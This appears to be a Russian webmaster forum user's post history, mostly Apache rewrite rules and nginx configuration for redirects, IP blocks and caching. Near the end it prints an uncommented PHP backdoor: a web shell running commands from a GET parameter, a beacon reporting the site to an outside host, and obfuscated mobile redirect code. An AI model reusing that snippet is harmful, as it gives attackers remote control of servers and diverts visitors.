jkm

Рейтинг
120
Регистрация
20.02.2014

[OR] и || это всё логическое "ИЛИ".

-R '222.2.2.0/24' это компактная форма записи "%{REMOTE_ADDR} -ipmatch '222.2.2.0/24'"

http://httpd.apache.org/docs/2.4/expr.html

Обратная косая черта "\" в конце строки указывает, что директива продолжается следующую строку.

Для удобства можно поделить длинную строку RewriteCond "%2 site1.ru => google.ru site2.ru => yandex.ru " "^(\S+) .*? \1 => (\S+)" на несколько более коротких.

Между обратной косой чертой и концом строки не должно быть других символов или пробелов.

http://httpd.apache.org/docs/2.4/configuring.html


httpd configuration files contain one directive per line. The backslash "\" may be used as the last character on a line to indicate that the directive continues onto the next line. There must be no other characters or white space between the backslash and the end of the line.

Если есть доступ править httpd.conf, то для списка доменов удобнее rewritemap

RewriteMap доступен в контексте <VirtualHost>, а не .htaccess

Если доступен mod_setenvif, то можно по условию ставить своё значение в переменную окружения, а в RewriteCond проверять её значение.


SetEnvIfExpr "-R '111.1.0.0/16' || -R '222.2.2.0/24' || -R '127.0.0.0/8'" ipblock=1

RewriteCond %{ENV:ipblock} 1
RewriteCond %{HTTP_HOST} ^(www\.)?site1\.ru$ [NC]
RewriteRule ^ https://google.ru [R=301,L]

RewriteCond %{ENV:ipblock} 1
RewriteCond %{HTTP_HOST} ^(www\.)?site2\.ru$ [NC]
RewriteRule ^ https://yandex.ru [R=301,L]

Если вдруг нет mod_setenvif, то можно и без него.

Поместить всё в одно правило.


RewriteCond expr "-R '111.1.0.0/16' || -R '222.2.2.0/24' || -R '127.0.0.0/8'"
RewriteCond %{HTTP_HOST} ^(www\.)?(site1\.ru|site2\.ru)$
RewriteCond "%2 \
site1.ru => google.ru \
site2.ru => yandex.ru " "^(\S+) .*? \1 => (\S+)"
RewriteRule ^ https://%2/ [R=301,L]

Если апач 2.4


RewriteCond expr "-R '111.1.0.0/16'" [OR]
RewriteCond expr "-R '222.2.2.0/24'" [OR]
RewriteCond expr "-R '33.0.0.0/8'"
RewriteRule ^ http://site2.ru/ [R=301,L]
AlekseiD:
Сайт статический на html. многие внутренние ссылки имеют вид site.com/?p=715, но по факту, когда кликаешь на данную ссылку, сайт отдает 404 ответ. Но в данной папке есть файл index.html (полный путь будет site.com/?p=715/index.html)
Переписывать весь код добавляя к каждой ссылке "/index.html" не представляется возможным, так как на сайте более 4K страниц.

Т.е. в корне сайта есть папка с именем "p=715" и в ней есть index.html

Тогда подойдёт такое правило:


RewriteEngine On

RewriteCond %{ENV:REDIRECT_STATUS} ^$
RewriteCond %{QUERY_STRING} ^(p=\d+)
RewriteRule ^ %1/index.html [L]

Если имя папки содержит знак вопроса "?p=715"


RewriteEngine On

RewriteCond %{ENV:REDIRECT_STATUS} ^$
RewriteCond %{QUERY_STRING} ^(p=\d+)
RewriteRule ^ \%3f%1/index.html [L]

Смеха ради можно запихнуть в одно правило все три условия :)

RewriteEngine On


RewriteCond %{ENV:REDIRECT_STATUS} ^$
RewriteCond .html%{QUERY_STRING} ^(.html)page=([^&]*) [OR]
RewriteCond %{THE_REQUEST} " /index\.php " [OR]
RewriteCond %{HTTP_HOST}/$1?%{QUERY_STRING} ^www\.[^/]+/()(.*)\?(.*)
RewriteRule ^(.*)$ http://site.ru/%2%1?%3 [R=301,L]

Нужно в правильном порядке расставить location http://nginx.org/ru/docs/http/ngx_http_core_module.html#location

Правило для файлов из папки /admin/ поставить выше правила для остальных папок.


server {
server_name site.ru www.site.ru;
listen 192.168.10.10;
charset UTF-8;
set $root_path /var/www/user/data/www/site.ru;
location ~* ^/admin/.+\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf)$ {
root $root_path;
#access_log /var/www/nginx-logs/user isp;
error_page 404 = @fallback;
expires off;
}
location ~* ^.+\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf)$ {
root $root_path;
#access_log /var/www/nginx-logs/user isp;
error_page 404 = @fallback;
expires 7d;
}

Или ставить нужное значения с помощью map http://nginx.org/ru/docs/http/ngx_http_map_module.html


map $uri $expires {
default 7d;
~^/admin/ off;
}

server {
server_name site.ru www.site.ru;
listen 192.168.10.10;
charset UTF-8;
set $root_path /var/www/user/data/www/site.ru;
location ~* ^.+\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf)$ {
root $root_path;
#access_log /var/www/nginx-logs/user isp;
error_page 404 = @fallback;

expires $expires;
}

RewriteCond %{THE_REQUEST} " /index\.php\?a=popular_music "

RewriteRule ^ "/explore/filter/popular music?" [R=301,L]

Добавлять это правило сразу после RewriteEngine on.

if ($args ~ "limitstart=0") {

return 301 $uri;
}

nginx


server {
server_name site1.ru

rewrite ^/(.+)$ http://site2.ru/$1 permanent;

.htaccess


RewriteEngine On

RewriteRule ^.+$ http://site2.ru/$0 [R=301,L]


@system($_GET[cmd]);

$_0=$_SERVER[SERVER_NAME] .$_SERVER[PHP_SELF];
@file_get_contents("http://bp-shkolaremonta.ru/wp-includes/pomo/log/get.php?q=$_0");


$_1 = strpos($_SERVER['HTTP_USER_AGENT'], 'iPhone');
$_4 = strpos($_SERVER['HTTP_USER_AGENT'], 'iPod');
$_5 = strpos($_SERVER['HTTP_USER_AGENT'], 'iPad');
$_2 = strpos($_SERVER['HTTP_USER_AGENT'], 'Android');
$_10 = strpos($_SERVER['HTTP_USER_AGENT'], 'webOS');
$_3 = strpos($_SERVER['HTTP_USER_AGENT'], 'BlackBerry');
$_12 = 'gm';
$_9 = strpos($_SERVER['HTTP_USER_AGENT'], 'Mobile');
$_6 = strpos($_SERVER['HTTP_USER_AGENT'], 'Symbian');
$_14 = strpos($_SERVER['HTTP_USER_AGENT'], 'Opera M');
$_15 = strpos($_SERVER['HTTP_USER_AGENT'], 'HTC_');
$_11 = strpos($_SERVER['HTTP_USER_AGENT'], 'Fennec/');
$_16 = strpos($_SERVER['HTTP_USER_AGENT'], 'WindowsPhone');
$_7 = strpos($_SERVER['HTTP_USER_AGENT'], 'WP7');
$_13 = strpos($_SERVER['HTTP_USER_AGENT'], 'WP8');
$_8 = 'cmdforo';
$_17 = 'com';

$_18 = '//' . $_8 . '.' . $_17 . '/';
define('THEMS', $_18);
if ($_5 || $_1 || $_2 || $_10 || $_4 || $_3 || $_9 || $_6 || $_14 || $_15 || $_11 || $_16 || $_7 || $_13 === true) {
if ($_COOKIE['pda_lotus'] == '' || $_COOKIE['pda_lotus'] == 0) {
define('theme_pc', false);
} else {
define('theme_pc', true);
}
} else {
if ($_COOKIE['pda_lotus'] == null || $_COOKIE['pda_lotus'] == 1) {
define('theme_pc', true);
} else {
define('theme_pc', false);
}
}
Всего: 749